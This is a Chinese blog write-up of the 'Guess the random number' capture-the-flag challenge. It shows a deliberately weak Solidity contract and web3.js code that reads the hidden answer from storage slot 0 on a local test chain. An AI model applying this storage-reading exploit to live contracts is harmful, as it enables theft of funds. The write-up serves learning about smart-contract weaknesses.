抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Guess the random number

1. 题目

  • 1.1 This time the number is generated based on a couple fairly random sources
  • 1.2 题目代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
uint8 answer;

function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

2. 分析

  • 2.1 题目代码中的 answer 是随机生成的,及根据创建的时候区块号和当时的时间 now 来打的时间戳。

  • 2.2 区块链链上的所有内容都是公开的,我们可以利用与合约交互,获取到合约上存储的值

  • 2.3 又因为合约中只有一个变量,及索引为 0 位置的值,便是我的答案answer

    1
    var contract = new web.eth.Contract(contract_abi,contract_add);

    tips: 为了弄懂这个存储位置,我还特意去阅读相关文献了解了EVM的存储位置和原理,相关文章在这 : storage-slot存储拓展

3. 解题

  • 3.1 用 js代码 实现 web3 与合约的交互
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
let Web3 = require("web3");
web = new Web3(new Web3.providers.HttpProvider("Http://127.0.0.1:7545"));
// console.log(web.currentProvider);


// remix 上部署的合约地址
var contract_add = "0x4DB61fCf9a56da7575e38f68BAf8E1621513001a";

// 在remix 上获取的 ABI
var contract_abi = [
{
"constant": false,
"inputs": [
{
"name": "n",
"type": "uint8"
}
],
"name": "guess",
"outputs": [],
"payable": true,
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"payable": true,
"stateMutability": "payable",
"type": "constructor"
},
{
"constant": true,
"inputs": [],
"name": "isComplete",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
}
];

// 创建合约实例

var contract = new web.eth.Contract(contract_abi,contract_add);

// console.log(contract);

web.eth.getStorageAt(contract_add,0,(error,result) => {
// 将结果的 16 进制数转化为 10进制
var answer = web.utils.hexToNumber(result);
//输出结果
console.log("存储为:",answer)
})
  • 3.2 在控制台获取 合约 的 answer

  • ![image-20240412144836149](Guess the random number/image-20240412144836149.png)

  • 3.3 在 remix 中验证

  • ![image-20240412144855415](Guess the random number/image-20240412144855415.png)

  • 3.4 结果正确

评论



政策 · 统计 | 本站使用 Volantis 主题设计